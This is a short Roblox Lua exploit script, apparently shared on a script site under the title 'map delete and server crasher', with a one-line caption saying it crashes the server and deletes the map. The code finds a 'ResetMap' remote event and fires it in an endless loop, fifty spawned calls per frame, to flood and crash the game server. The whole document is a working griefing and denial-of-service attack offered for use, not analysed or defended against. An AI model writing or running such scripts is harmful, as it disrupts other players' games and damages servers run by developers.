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map delete and server crasher
Lua Script•17 lines (331 chars)
local Event = game:GetService("ReplicatedStorage"):FindFirstChild("ResetMap")
if not Event then
print("ResetMap not found")
return
end
while true do
for i = 1, 50 do
task.spawn(function()
pcall(function()
Event:FireServer()
end)
end)
end
task.wait()
endFeatures & Information
crashes and deletes the map
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